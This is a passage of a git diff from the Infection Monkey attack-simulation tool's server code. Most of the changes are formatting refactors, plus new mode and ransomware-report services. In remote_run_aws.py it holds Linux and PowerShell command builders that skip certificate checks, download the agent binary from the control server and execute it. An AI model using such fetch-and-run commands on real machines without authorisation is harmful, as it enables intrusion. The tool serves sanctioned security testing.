+ island_mode_model = IslandMode()
+ island_mode_model.mode = mode.value
+ island_mode_model.save()
+
+
+def get_mode() -> str:
+ if IslandMode.objects:
+ mode = IslandMode.objects[0].mode
+ return mode
+ else:
+ raise ModeNotSetError
+
+
+class ModeNotSetError(Exception):
+ """
+ Throw this exception when island mode is not set.
+ """
diff --git a/monkey/monkey_island/cc/services/mode/mode_enum.py b/monkey/monkey_island/cc/services/mode/mode_enum.py
new file mode 100644
index 000000000..fce46db97
--- /dev/null
+++ b/monkey/monkey_island/cc/services/mode/mode_enum.py
@@ -0,0 +1,6 @@
+from enum import Enum
+
+
+class IslandModeEnum(Enum):
+ RANSOMWARE = "ransomware"
+ ADVANCED = "advanced"
diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py
index 0734bf606..1c0b649d0 100644
--- a/monkey/monkey_island/cc/services/netmap/net_edge.py
+++ b/monkey/monkey_island/cc/services/netmap/net_edge.py
@@ -7,7 +7,6 @@ from monkey_island.cc.services.node import NodeService
class NetEdgeService:
-
@staticmethod
def get_all_net_edges():
edges = NetEdgeService._get_standard_net_edges()
@@ -29,41 +28,52 @@ class NetEdgeService:
count = 0
for monkey_id in monkey_ids:
count += 1
- # generating fake ID, because front end requires unique ID's for each edge. Collision improbable
+ # generating fake ID, because front end requires unique ID's for each edge. Collision
+ # improbable
fake_id = ObjectId(hex(count)[2:].zfill(24))
island_id = ObjectId("000000000000000000000000")
monkey_label = NodeService.get_label_for_endpoint(monkey_id)
island_label = NodeService.get_label_for_endpoint(island_id)
- island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id,
- src_node_id=monkey_id,
- dst_node_id=island_id,
- src_label=monkey_label,
- dst_label=island_label)
+ island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge(
+ edge_id=fake_id,
+ src_node_id=monkey_id,
+ dst_node_id=island_id,
+ src_label=monkey_label,
+ dst_label=island_label,
+ )
edges.append(island_pseudo_edge)
return edges
@staticmethod
def _get_infected_island_net_edges(monkey_island_monkey):
- existing_ids = [x.src_node_id for x
- in EdgeService.get_by_dst_node(dst_node_id=monkey_island_monkey["_id"])]
- monkey_ids = [x.id for x in Monkey.objects()
- if ("tunnel" not in x) and
- (x.id not in existing_ids) and
- (x.id != monkey_island_monkey["_id"])]
+ existing_ids = [
+ x.src_node_id
+ for x in EdgeService.get_by_dst_node(dst_node_id=monkey_island_monkey["_id"])
+ ]
+ monkey_ids = [
+ x.id
+ for x in Monkey.objects()
+ if ("tunnel" not in x)
+ and (x.id not in existing_ids)
+ and (x.id != monkey_island_monkey["_id"])
+ ]
edges = []
count = 0
for monkey_id in monkey_ids:
count += 1
- # generating fake ID, because front end requires unique ID's for each edge. Collision improbable
+ # generating fake ID, because front end requires unique ID's for each edge. Collision
+ # improbable
fake_id = ObjectId(hex(count)[2:].zfill(24))
src_label = NodeService.get_label_for_endpoint(monkey_id)
dst_label = NodeService.get_label_for_endpoint(monkey_island_monkey["_id"])
- edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id,
- src_node_id=monkey_id,
- dst_node_id=monkey_island_monkey["_id"],
- src_label=src_label,
- dst_label=dst_label)
+ edge = DisplayedEdgeService.generate_pseudo_edge(
+ edge_id=fake_id,
+ src_node_id=monkey_id,
+ dst_node_id=monkey_island_monkey["_id"],
+ src_label=src_label,
+ dst_label=dst_label,
+ )
edges.append(edge)
return edges
diff --git a/monkey/monkey_island/cc/services/netmap/net_node.py b/monkey/monkey_island/cc/services/netmap/net_node.py
index 796167cf5..6bb54fd40 100644
--- a/monkey/monkey_island/cc/services/netmap/net_node.py
+++ b/monkey/monkey_island/cc/services/netmap/net_node.py
@@ -3,7 +3,6 @@ from monkey_island.cc.services.node import NodeService
class NetNodeService:
-
@staticmethod
def get_all_net_nodes():
monkeys = NetNodeService._get_monkey_net_nodes()
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 1c2c0f9f1..ec787a39d 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -8,13 +8,11 @@ import monkey_island.cc.services.log
from monkey_island.cc import models
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
from monkey_island.cc.services.edge.edge import EdgeService
+from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses
from monkey_island.cc.services.utils.node_states import NodeStates
-__author__ = "itay.mizeretz"
-
class NodeService:
def __init__(self):
@@ -36,7 +34,7 @@ class NodeService:
# node is infected
new_node = NodeService.monkey_to_net_node(monkey, for_report)
for key in monkey:
- if key not in ['_id', 'modifytime', 'parent', 'dead', 'description']:
+ if key not in ["_id", "modifytime", "parent", "dead", "description"]:
new_node[key] = monkey[key]
else:
@@ -52,18 +50,18 @@ class NodeService:
edges = DisplayedEdgeService.get_displayed_edges_by_dst(node_id, for_report)
for edge in edges:
- from_node_id = edge['from']
+ from_node_id = edge["from"]
from_node_label = Monkey.get_label_by_id(from_node_id)
from_node_hostname = Monkey.get_hostname_by_id(from_node_id)
accessible_from_nodes.append(from_node_label)
accessible_from_nodes_hostnames.append(from_node_hostname)
- for edge_exploit in edge['exploits']:
- edge_exploit['origin'] = from_node_label
+ for edge_exploit in edge["exploits"]:
+ edge_exploit["origin"] = from_node_label
exploits.append(edge_exploit)
- exploits = sorted(exploits, key=lambda exploit: exploit['timestamp'])
+ exploits = sorted(exploits, key=lambda exploit: exploit["timestamp"])
new_node["exploits"] = exploits
new_node["accessible_from_nodes"] = accessible_from_nodes
@@ -73,7 +71,7 @@ class NodeService:
else:
new_node["services"] = []
- new_node['has_log'] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id))
+ new_node["has_log"] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id))
return new_node
@staticmethod
@@ -104,16 +102,6 @@ class NodeService:
return True
- @staticmethod
- def get_monkey_label_by_id(monkey_id):
- return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id))
-
- @staticmethod
- def get_monkey_critical_services(monkey_id):
- critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get(
- 'critical_services', [])
- return critical_services
-
@staticmethod
def get_monkey_label(monkey):
# todo
@@ -139,8 +127,8 @@ class NodeService:
@staticmethod
def get_node_group(node) -> str:
- if 'group' in node and node['group']:
- return node['group']
+ if "group" in node and node["group"]:
+ return node["group"]
node_type = "exploited" if node.get("exploited") else "clean"
node_os = NodeService.get_node_os(node)
return NodeStates.get_by_keywords([node_type, node_os]).value
@@ -148,44 +136,42 @@ class NodeService:
@staticmethod
def monkey_to_net_node(monkey, for_report=False):
monkey_id = monkey["_id"]
- label = Monkey.get_hostname_by_id(monkey_id) if for_report else Monkey.get_label_by_id(monkey_id)
+ label = (
+ Monkey.get_hostname_by_id(monkey_id)
+ if for_report
+ else Monkey.get_label_by_id(monkey_id)
+ )
monkey_group = NodeService.get_monkey_group(monkey)
- return \
- {
- "id": monkey_id,
- "label": label,
- "group": monkey_group,
- "os": NodeService.get_monkey_os(monkey),
- # The monkey is running IFF the group contains "_running". Therefore it's dead IFF the group does NOT
- # contain "_running". This is a small optimisation, to not call "is_dead" twice.
- "dead": "_running" not in monkey_group,
- "domain_name": "",
- "pba_results": monkey["pba_results"] if "pba_results" in monkey else []
- }
+ return {
+ "id": monkey_id,
+ "label": label,
+ "group": monkey_group,
+ "os": NodeService.get_monkey_os(monkey),
+ # The monkey is running IFF the group contains "_running". Therefore it's dead IFF
+ # the group does NOT
+ # contain "_running". This is a small optimisation, to not call "is_dead" twice.
+ "dead": "_running" not in monkey_group,
+ "domain_name": "",
+ "pba_results": monkey["pba_results"] if "pba_results" in monkey else [],
+ }
@staticmethod
def node_to_net_node(node, for_report=False):
- label = node['os']['version'] if for_report else NodeService.get_node_label(node)
- return \
- {
- "id": node["_id"],
- "label": label,
- "group": NodeService.get_node_group(node),
- "os": NodeService.get_node_os(node)
- }
+ label = node["os"]["version"] if for_report else NodeService.get_node_label(node)
+ return {
+ "id": node["_id"],
+ "label": label,
+ "group": NodeService.get_node_group(node),
+ "os": NodeService.get_node_os(node),
+ }
@staticmethod
def set_node_group(node_id: str, node_group: NodeStates):
- mongo.db.node.update({"_id": node_id},
- {'$set': {'group': node_group.value}},
- upsert=False)
+ mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False)
@staticmethod
def unset_all_monkey_tunnels(monkey_id):
- mongo.db.monkey.update(
- {"_id": monkey_id},
- {'$unset': {'tunnel': ''}},
- upsert=False)
+ mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False)
edges = EdgeService.get_tunnel_edges_by_src(monkey_id)
for edge in edges:
@@ -196,84 +182,88 @@ class NodeService:
tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"]
NodeService.unset_all_monkey_tunnels(monkey_id)
mongo.db.monkey.update(
- {'_id': monkey_id},
- {'$set': {'tunnel': tunnel_host_id}},
- upsert=False)
+ {"_id": monkey_id}, {"$set": {"tunnel": tunnel_host_id}}, upsert=False
+ )
monkey_label = NodeService.get_label_for_endpoint(monkey_id)
tunnel_host_label = NodeService.get_label_for_endpoint(tunnel_host_id)
- tunnel_edge = EdgeService.get_or_create_edge(src_node_id=monkey_id,
- dst_node_id=tunnel_host_id,
- src_label=monkey_label,
- dst_label=tunnel_host_label)
+ tunnel_edge = EdgeService.get_or_create_edge(
+ src_node_id=monkey_id,
+ dst_node_id=tunnel_host_id,
+ src_label=monkey_label,
+ dst_label=tunnel_host_label,
+ )
tunnel_edge.tunnel = True
tunnel_edge.ip_address = tunnel_host_ip
tunnel_edge.save()
@staticmethod
- def insert_node(ip_address, domain_name=''):
+ def insert_node(ip_address, domain_name=""):
new_node_insert_result = mongo.db.node.insert_one(
{
"ip_addresses": [ip_address],
"domain_name": domain_name,
"exploited": False,
"creds": [],
- "os":
- {
- "type": "unknown",
- "version": "unknown"
- }
- })
+ "os": {"type": "unknown", "version": "unknown"},
+ }
+ )
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
@staticmethod
def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool):
new_node_insert_result = mongo.db.node.insert_one(
{
- "ip_addresses": bootloader_telem['ips'],
- "domain_name": bootloader_telem['hostname'],
+ "ip_addresses": bootloader_telem["ips"],
+ "domain_name": bootloader_telem["hostname"],
"will_monkey_run": will_monkey_run,
"exploited": False,
"creds": [],
- "os":
- {
- "type": bootloader_telem['system'],
- "version": bootloader_telem['os_version']
- }
- })
+ "os": {
+ "type": bootloader_telem["system"],
+ "version": bootloader_telem["os_version"],
+ },
+ }
+ )
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
@staticmethod
- def get_or_create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool) -> Dict:
- if is_local_ips(bootloader_telem['ips']):
+ def get_or_create_node_from_bootloader_telem(
+ bootloader_telem: Dict, will_monkey_run: bool
+ ) -> Dict:
+ if is_local_ips(bootloader_telem["ips"]):
raise NodeCreationException("Bootloader ran on island, no need to create new node.")
- new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
+ new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}})
# Temporary workaround to not create a node after monkey finishes
- monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}})
+ monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}})
if monkey_node:
# Don't create new node, monkey node is already present
return monkey_node
if new_node is None:
- new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run)
- if bootloader_telem['tunnel']:
- dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem['tunnel'])
+ new_node = NodeService.create_node_from_bootloader_telem(
+ bootloader_telem, will_monkey_run
+ )
+ if bootloader_telem["tunnel"]:
+ dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem["tunnel"])
else:
dst_node = NodeService.get_monkey_island_node()
- src_label = NodeService.get_label_for_endpoint(new_node['_id'])
- dst_label = NodeService.get_label_for_endpoint(dst_node['id'])
- edge = EdgeService.get_or_create_edge(src_node_id=new_node['_id'],
- dst_node_id=dst_node['id'],
- src_label=src_label,
- dst_label=dst_label)
- edge.tunnel = bool(bootloader_telem['tunnel'])
- edge.ip_address = bootloader_telem['ips'][0]
- edge.group = NodeStates.get_by_keywords(['island']).value
+ src_label = NodeService.get_label_for_endpoint(new_node["_id"])
+ dst_label = NodeService.get_label_for_endpoint(dst_node["id"])
+ edge = EdgeService.get_or_create_edge(
+ src_node_id=new_node["_id"],
+ dst_node_id=dst_node["id"],
+ src_label=src_label,
+ dst_label=dst_label,
+ )
+ edge.tunnel = bool(bootloader_telem["tunnel"])
+ edge.ip_address = bootloader_telem["ips"][0]
+ edge.group = NodeStates.get_by_keywords(["island"]).value
edge.save()
return new_node
@staticmethod
- def get_or_create_node(ip_address, domain_name=''):
+ def get_or_create_node(ip_address, domain_name=""):
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
if new_node is None:
new_node = NodeService.insert_node(ip_address, domain_name)
@@ -301,27 +291,25 @@ class NodeService:
@staticmethod
def update_monkey_modify_time(monkey_id):
- mongo.db.monkey.update({"_id": monkey_id},
- {"$set": {"modifytime": datetime.now()}},
- upsert=False)
+ mongo.db.monkey.update(
+ {"_id": monkey_id}, {"$set": {"modifytime": datetime.now()}}, upsert=False
+ )
@staticmethod
def set_monkey_dead(monkey, is_dead):
- props_to_set = {'dead': is_dead}
+ props_to_set = {"dead": is_dead}
# Cancel the force kill once monkey died
if is_dead:
- props_to_set['config.alive'] = True
+ props_to_set["config.alive"] = True
- mongo.db.monkey.update({"guid": monkey['guid']},
- {'$set': props_to_set},
- upsert=False)
+ mongo.db.monkey.update({"guid": monkey["guid"]}, {"$set": props_to_set}, upsert=False)
@staticmethod
def add_communication_info(monkey, info):
- mongo.db.monkey.update({"guid": monkey["guid"]},
- {"$set": {'command_control_channel': info}},
- upsert=False)
+ mongo.db.monkey.update(
+ {"guid": monkey["guid"]}, {"$set": {"command_control_channel": info}}, upsert=False
+ )
@staticmethod
def get_monkey_island_monkey():
@@ -338,12 +326,11 @@ class NodeService:
@staticmethod
def get_monkey_island_pseudo_net_node():
- return \
- {
- "id": NodeService.get_monkey_island_pseudo_id(),
- "label": "MonkeyIsland",
- "group": "island",
- }
+ return {
+ "id": NodeService.get_monkey_island_pseudo_id(),
+ "label": "MonkeyIsland",
+ "group": "island",
+ }
@staticmethod
def get_monkey_island_node():
@@ -354,22 +341,23 @@ class NodeService:
@staticmethod
def set_node_exploited(node_id):
- mongo.db.node.update(
- {"_id": node_id},
- {"$set": {"exploited": True}}
- )
+ mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}})
@staticmethod
def update_dead_monkeys():
# Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes
if mongo.db.monkey.find_one(
- {'dead': {'$ne': True}, 'keepalive': {'$gte': datetime.now() - timedelta(minutes=10)}}):
+ {"dead": {"$ne": True}, "keepalive": {"$gte": datetime.now() - timedelta(minutes=10)}}
+ ):
return
# config.alive is changed to true to cancel the force kill of dead monkeys
mongo.db.monkey.update(
- {'keepalive': {'$lte': datetime.now() - timedelta(minutes=10)}, 'dead': {'$ne': True}},
- {'$set': {'dead': True, 'config.alive': True, 'modifytime': datetime.now()}}, upsert=False, multi=True)
+ {"keepalive": {"$lte": datetime.now() - timedelta(minutes=10)}, "dead": {"$ne": True}},
+ {"$set": {"dead": True, "config.alive": True, "modifytime": datetime.now()}},
+ upsert=False,
+ multi=True,
+ )
@staticmethod
def is_any_monkey_alive():
@@ -386,17 +374,11 @@ class NodeService:
@staticmethod
def add_credentials_to_monkey(monkey_id, creds):
- mongo.db.monkey.update(
- {'_id': monkey_id},
- {'$push': {'creds': creds}}
- )
+ mongo.db.monkey.update({"_id": monkey_id}, {"$push": {"creds": creds}})
@staticmethod
def add_credentials_to_node(node_id, creds):
- mongo.db.node.update(
- {'_id': node_id},
- {'$push': {'creds': creds}}
- )
+ mongo.db.node.update({"_id": node_id}, {"$push": {"creds": creds}})
@staticmethod
def get_node_or_monkey_by_ip(ip_address):
@@ -414,16 +396,18 @@ class NodeService:
@staticmethod
def get_node_hostname(node):
- return node['hostname'] if 'hostname' in node else node['os']['version']
+ return node["hostname"] if "hostname" in node else node["os"]["version"]
@staticmethod
def get_hostname_by_id(node_id):
- return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
+ return NodeService.get_node_hostname(
+ mongo.db.monkey.find_one({"_id": node_id}, {"hostname": 1})
+ )
@staticmethod
def get_label_for_endpoint(endpoint_id):
if endpoint_id == ObjectId("000000000000000000000000"):
- return 'MonkeyIsland'
+ return "MonkeyIsland"
if Monkey.is_monkey(endpoint_id):
return Monkey.get_label_by_id(endpoint_id)
else:
diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py
index 44f1b91b2..8268265a9 100644
--- a/monkey/monkey_island/cc/services/post_breach_files.py
+++ b/monkey/monkey_island/cc/services/post_breach_files.py
@@ -1,50 +1,46 @@
import logging
import os
-from pathlib import Path
-import monkey_island.cc.services.config
-
-__author__ = "VakarisZ"
-
-from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
+from monkey_island.cc.server_utils.file_utils import create_secure_directory
logger = logging.getLogger(__name__)
-# Where to find file names in config
-PBA_WINDOWS_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_windows_filename']
-PBA_LINUX_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_linux_filename']
-UPLOADS_DIR_NAME = 'userUploads'
+class PostBreachFilesService:
+ DATA_DIR = None
+ CUSTOM_PBA_DIRNAME = "custom_pbas"
-ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, 'cc', UPLOADS_DIR_NAME)
+ # TODO: A number of these services should be instance objects instead of
+ # static/singleton hybrids. At the moment, this requires invasive refactoring that's
+ # not a priority.
+ @classmethod
+ def initialize(cls, data_dir):
+ cls.DATA_DIR = data_dir
+ custom_pba_dir = cls.get_custom_pba_directory()
+ create_secure_directory(custom_pba_dir)
+ @staticmethod
+ def save_file(filename: str, file_contents: bytes):
+ file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), filename)
+ with open(file_path, "wb") as f:
+ f.write(file_contents)
-def remove_PBA_files():
- if monkey_island.cc.services.config.ConfigService.get_config():
- windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
- linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
- if linux_filename:
- remove_file(linux_filename)
- if windows_filename:
- remove_file(windows_filename)
+ @staticmethod
+ def remove_PBA_files():
+ for f in os.listdir(PostBreachFilesService.get_custom_pba_directory()):
+ PostBreachFilesService.remove_file(f)
+ @staticmethod
+ def remove_file(file_name):
+ file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), file_name)
+ try:
+ if os.path.exists(file_path):
+ os.remove(file_path)
+ except OSError as e:
+ logger.error("Can't remove previously uploaded post breach files: %s" % e)
-def remove_file(file_name):
- file_path = os.path.join(ABS_UPLOAD_PATH, file_name)
- try:
- if os.path.exists(file_path):
- os.remove(file_path)
- except OSError as e:
- logger.error("Can't remove previously uploaded post breach files: %s" % e)
-
-
-def set_config_PBA_files(config_json):
- """
- Sets PBA file info in config_json to current config's PBA file info values.
- :param config_json: config_json that will be modified
- """
- if monkey_island.cc.services.config.ConfigService.get_config():
- linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
- windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
- config_json['monkey']['post_breach']['PBA_linux_filename'] = linux_filename
- config_json['monkey']['post_breach']['PBA_windows_filename'] = windows_filename
+ @staticmethod
+ def get_custom_pba_directory():
+ return os.path.join(
+ PostBreachFilesService.DATA_DIR, PostBreachFilesService.CUSTOM_PBA_DIRNAME
+ )
diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py
new file mode 100644
index 000000000..5dd384511
--- /dev/null
+++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py
@@ -0,0 +1,28 @@
+from typing import Dict, List
+
+from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import (
+ MonkeyExploitation,
+ get_monkey_exploited,
+)
+from monkey_island.cc.services.reporting.report import ReportService
+
+
+def get_propagation_stats() -> Dict:
+ scanned = ReportService.get_scanned()
+ exploited = get_monkey_exploited()
+
+ return {
+ "num_scanned_nodes": len(scanned),
+ "num_exploited_nodes": len(exploited),
+ "num_exploited_per_exploit": _get_exploit_counts(exploited),
+ }
+
+
+def _get_exploit_counts(exploited: List[MonkeyExploitation]) -> Dict:
+ exploit_counts = {}
+
+ for node in exploited:
+ for exploit in node.exploits:
+ exploit_counts[exploit] = exploit_counts.get(exploit, 0) + 1
+
+ return exploit_counts
diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py
index dfaa0e327..ae9d910ea 100644
--- a/monkey/monkey_island/cc/services/remote_run_aws.py
+++ b/monkey/monkey_island/cc/services/remote_run_aws.py
@@ -6,14 +6,11 @@ from common.cmd.aws.aws_cmd_runner import AwsCmdRunner
from common.cmd.cmd import Cmd
from common.cmd.cmd_runner import CmdRunner
-__author__ = "itay.mizeretz"
-
logger = logging.getLogger(__name__)
class RemoteRunAwsService:
aws_instance = None
- is_auth = False
def __init__(self):
pass
@@ -48,9 +45,13 @@ class RemoteRunAwsService:
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async(
- instance['instance_id'], RemoteRunAwsService._is_linux(instance['os']), island_ip,
- instances_bitness[instance['instance_id']]),
- lambda _, result: result.is_success)
+ instance["instance_id"],
+ RemoteRunAwsService._is_linux(instance["os"]),
+ island_ip,
+ instances_bitness[instance["instance_id"]],
+ ),
+ lambda _, result: result.is_success,
+ )
@staticmethod
def is_running_on_aws():
@@ -68,23 +69,29 @@ class RemoteRunAwsService:
"""
For all given instances, checks whether they're 32 or 64 bit.
:param instances: List of instances to check
- :return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, False otherwise
+ :return: Dictionary with instance ids as keys, and True/False as values. True if 64bit,
+ False otherwise
"""
return CmdRunner.run_multiple_commands(
instances,
lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async(
- instance['instance_id'], RemoteRunAwsService._is_linux(instance['os'])),
+ instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"])
+ ),
lambda instance, result: RemoteRunAwsService._get_bitness_by_result(
- RemoteRunAwsService._is_linux(instance['os']), result))
+ RemoteRunAwsService._is_linux(instance["os"]), result
+ ),
+ )
@staticmethod
def _get_bitness_by_result(is_linux, result):
if not result.is_success:
return None
elif is_linux:
- return result.stdout.find('i686') == -1 # i686 means 32bit
+ return result.stdout.find("i686") == -1 # i686 means 32bit
else:
- return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit
+ return (
+ result.stdout.lower().find("programfiles(x86)") != -1
+ ) # if not found it means 32bit
@staticmethod
def run_aws_bitness_cmd_async(instance_id, is_linux):
@@ -94,7 +101,7 @@ class RemoteRunAwsService:
:param is_linux: Whether target is linux
:return: Cmd
"""
- cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:'
+ cmd_text = "uname -m" if is_linux else "Get-ChildItem Env:"
return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text)
@staticmethod
@@ -117,24 +124,42 @@ class RemoteRunAwsService:
@staticmethod
def _is_linux(os):
- return 'linux' == os
+ return "linux" == os
@staticmethod
def _get_run_monkey_cmd_linux_line(bit_text, island_ip):
- return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \
- bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \
- island_ip + r':5000'
+ return (
+ r"wget --no-check-certificate https://"
+ + island_ip
+ + r":5000/api/monkey/download/monkey-linux-"
+ + bit_text
+ + r"; chmod +x monkey-linux-"
+ + bit_text
+ + r"; ./monkey-linux-"
+ + bit_text
+ + r" m0nk3y -s "
+ + island_ip
+ + r":5000"
+ )
@staticmethod
def _get_run_monkey_cmd_windows_line(bit_text, island_ip):
- return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
- r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
- r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
- r";Start-Process -FilePath '.\\monkey.exe' " \
- r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
+ return (
+ r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {"
+ r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://"
+ + island_ip
+ + r":5000/api/monkey/download/monkey-windows-"
+ + bit_text
+ + r".exe','.\\monkey.exe'); "
+ r";Start-Process -FilePath '.\\monkey.exe' "
+ r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
+ )
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
- bit_text = '64' if is_64bit else '32'
- return RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \
+ bit_text = "64" if is_64bit else "32"
+ return (
+ RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip)
+ if is_linux
else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip)
+ )
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 1347775d0..e235739bc 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -8,7 +8,17 @@ from botocore.exceptions import UnknownServiceError
from common.cloud.aws.aws_instance import AwsInstance
from monkey_island.cc.services.reporting.exporter import Exporter
-__authors__ = ['maor.rayzin', 'shay.nehmad']
+__authors__ = ["maor.rayzin", "shay.nehmad"]
+
+
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa:E501 (Long import)
+ ExploiterDescriptorEnum,
+)
+
+# noqa:E501 (Long import)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa:E501 (Long import)
+ CredentialType,
+)
logger = logging.getLogger(__name__)
@@ -20,9 +30,9 @@ class AWSExporter(Exporter):
def handle_report(report_json):
findings_list = []
- issues_list = report_json['recommendations']['issues']
+ issues_list = report_json["recommendations"]["issues"]
if not issues_list:
- logger.info('No issues were found by the monkey, no need to send anything')
+ logger.info("No issues were found by the monkey, no need to send anything")
return True
# Not suppressing error here on purpose.
@@ -30,11 +40,16 @@ class AWSExporter(Exporter):
for machine in issues_list:
for issue in issues_list[machine]:
- if issue.get('aws_instance_id', None):
- findings_list.append(AWSExporter._prepare_finding(issue, current_aws_region))
+ try:
+ if "aws_instance_id" in issue:
+ findings_list.append(
+ AWSExporter._prepare_finding(issue, current_aws_region)
+ )
+ except AWSExporter.FindingNotFoundError as e:
+ logger.error(e)
if not AWSExporter._send_findings(findings_list, current_aws_region):
- logger.error('Exporting findings to aws failed')
+ logger.error("Exporting findings to aws failed")
return False
return True
@@ -48,97 +63,118 @@ class AWSExporter(Exporter):
@staticmethod
def _prepare_finding(issue, region):
findings_dict = {
- 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue,
- 'ssh': AWSExporter._handle_ssh_issue,
- 'shellshock': AWSExporter._handle_shellshock_issue,
- 'tunnel': AWSExporter._handle_tunnel_issue,
- 'elastic': AWSExporter._handle_elastic_issue,
- 'smb_password': AWSExporter._handle_smb_password_issue,
- 'smb_pth': AWSExporter._handle_smb_pth_issue,
- 'sambacry': AWSExporter._handle_sambacry_issue,
- 'shared_passwords': AWSExporter._handle_shared_passwords_issue,
- 'wmi_password': AWSExporter._handle_wmi_password_issue,
- 'wmi_pth': AWSExporter._handle_wmi_pth_issue,
- 'ssh_key': AWSExporter._handle_ssh_key_issue,
- 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
- 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
- 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
- 'struts2': AWSExporter._handle_struts2_issue,
- 'weblogic': AWSExporter._handle_weblogic_issue,
- 'hadoop': AWSExporter._handle_hadoop_issue,
+ "island_cross_segment": AWSExporter._handle_island_cross_segment_issue,
+ ExploiterDescriptorEnum.SSH.value.class_name: {
+ CredentialType.PASSWORD.value: AWSExporter._handle_ssh_issue,
+ CredentialType.KEY.value: AWSExporter._handle_ssh_key_issue,
+ },
+ ExploiterDescriptorEnum.SHELLSHOCK.value.class_name: AWSExporter._handle_shellshock_issue, # noqa:E501
+ "tunnel": AWSExporter._handle_tunnel_issue,
+ ExploiterDescriptorEnum.ELASTIC.value.class_name: AWSExporter._handle_elastic_issue,
+ ExploiterDescriptorEnum.SMB.value.class_name: {
+ CredentialType.PASSWORD.value: AWSExporter._handle_smb_password_issue,
